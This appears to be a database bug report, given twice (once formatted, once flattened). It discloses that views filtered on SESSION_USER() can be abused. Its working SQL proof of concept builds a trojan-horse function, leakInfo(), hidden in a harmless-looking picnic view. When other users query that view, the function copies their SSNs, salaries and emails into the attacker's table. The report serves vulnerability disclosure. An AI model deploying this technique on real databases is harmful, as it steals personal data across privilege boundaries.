Description:
Creating a view that depends on the value of SESSION_USER() enables a minimally-privileged user to write a user-defined function that contains a trojan-horse to get arbitrary data from the base table.
How to repeat:
Create three users, alice (base table owner), bob (attacker), and carol (other minimally-privileged user). As Alice, create the following table and view:
CREATE TABLE employee(
username varchar(50) unique,
ssn int,
salary int,
email varchar(30));
INSERT INTO employee VALUES('alice@localhost',123456789,70000,'alice@example.com');
INSERT INTO employee VALUES('bob@localhost',234567890,70000,'bob@example.com');
INSERT INTO employee VALUES('carol@localhost',345678901,70000,'carol@example.com');
CREATE VIEW employee_view AS
SELECT * FROM employee
WHERE username=SESSION_USER();
GRANT SELECT ON employee_view TO bob@localhost,carol@localhost;
At this point, Bob and Carol can both query SELECT * FROM employee_view; to view their own employee data, but cannot view each other's employee data.
As Bob, create the following tables, function, and view:
CREATE TABLE picnic(
username varchar(50),
assignment varchar(50));
INSERT INTO picnic VALUES('alice','chips');
INSERT INTO picnic VALUES('bob','drinks');
INSERT INTO picnic VALUES('carol','salad');
CREATE TABLE employee_leaked_data(
username varchar(50) unique,
ssn int,
salary int,
email varchar(30));
DELIMITER |
CREATE FUNCTION leakInfo()
RETURNS boolean
BEGIN
DECLARE done boolean default false;
DECLARE username1 varchar(50);
DECLARE ssn1 int;
DECLARE salary1 int;
DECLARE email1 varchar(30);
DECLARE cur cursor for SELECT * FROM alice.employee_view;
DECLARE continue handler for not found set done = true;
OPEN cur;
LOOP1:loop
FETCH cur INTO username1, ssn1, salary1, email1;
IF done THEN
CLOSE cur;
LEAVE LOOP1;
END IF;
INSERT INTO bob.employee_leaked_data(username, ssn, salary, email) VALUES(username1, ssn1, salary1, email1)
ON DUPLICATE KEY UPDATE ssn=ssn1, salary=salary1, email=email1;
END LOOP LOOP1;
RETURN true;
END;
|
DELIMITER ;
CREATE VIEW picnic_view AS
SELECT * FROM picnic WHERE bob.leakInfo();
GRANT EXECUTE ON FUNCTION leakInfo TO alice@localhost, carol@localhost;
GRANT SELECT ON picnic_view TO alice@localhost, carol@localhost;
As Carol, query Bob's table: SELECT * FROM picnic_view;
Bob can now view Carol's employee information: SELECT * FROM employee_leaked_data;
Suggested fix:
Difficult to say. Using CURRENT_USER() instead of SESSION_USER() always returns Alice's data even if Bob or Carol is querying, so this does not give the desired view definition. The particular problem I described can be prevented if SESSION_USER() returned the user who defined the function instead of the currently-logged-in user; however, this is not the intent of the SESSION_USER value.
At very least, even if this is considered not a bug, perhaps the documentation for these values should contain a warning not to use them for evaluating view conditions.
Description: Creating a view that depends on the value of SESSION_USER() enables a minimally-privileged user to write a user-defined function that contains a trojan-horse to get arbitrary data from the base table. How to repeat: Create three users, alice (base table owner), bob (attacker), and carol (other minimally-privileged user). As Alice, create the following table and view: CREATE TABLE employee( username varchar(50) unique, ssn int, salary int, email varchar(30)); INSERT INTO employee VALUES('alice@localhost',123456789,70000,'alice@example.com'); INSERT INTO employee VALUES('bob@localhost',234567890,70000,'bob@example.com'); INSERT INTO employee VALUES('carol@localhost',345678901,70000,'carol@example.com'); CREATE VIEW employee_view AS SELECT * FROM employee WHERE username=SESSION_USER(); GRANT SELECT ON employee_view TO bob@localhost,carol@localhost; At this point, Bob and Carol can both query SELECT * FROM employee_view; to view their own employee data, but cannot view each other's employee data. As Bob, create the following tables, function, and view: CREATE TABLE picnic( username varchar(50), assignment varchar(50)); INSERT INTO picnic VALUES('alice','chips'); INSERT INTO picnic VALUES('bob','drinks'); INSERT INTO picnic VALUES('carol','salad'); CREATE TABLE employee_leaked_data( username varchar(50) unique, ssn int, salary int, email varchar(30)); DELIMITER | CREATE FUNCTION leakInfo() RETURNS boolean BEGIN DECLARE done boolean default false; DECLARE username1 varchar(50); DECLARE ssn1 int; DECLARE salary1 int; DECLARE email1 varchar(30); DECLARE cur cursor for SELECT * FROM alice.employee_view; DECLARE continue handler for not found set done = true; OPEN cur; LOOP1:loop FETCH cur INTO username1, ssn1, salary1, email1; IF done THEN CLOSE cur; LEAVE LOOP1; END IF; INSERT INTO bob.employee_leaked_data(username, ssn, salary, email) VALUES(username1, ssn1, salary1, email1) ON DUPLICATE KEY UPDATE ssn=ssn1, salary=salary1, email=email1; END LOOP LOOP1; RETURN true; END; | DELIMITER ; CREATE VIEW picnic_view AS SELECT * FROM picnic WHERE bob.leakInfo(); GRANT EXECUTE ON FUNCTION leakInfo TO alice@localhost, carol@localhost; GRANT SELECT ON picnic_view TO alice@localhost, carol@localhost; As Carol, query Bob's table: SELECT * FROM picnic_view; Bob can now view Carol's employee information: SELECT * FROM employee_leaked_data; Suggested fix: Difficult to say. Using CURRENT_USER() instead of SESSION_USER() always returns Alice's data even if Bob or Carol is querying, so this does not give the desired view definition. The particular problem I described can be prevented if SESSION_USER() returned the user who defined the function instead of the currently-logged-in user; however, this is not the intent of the SESSION_USER value. At very least, even if this is considered not a bug, perhaps the documentation for these values should contain a warning not to use them for evaluating view conditions.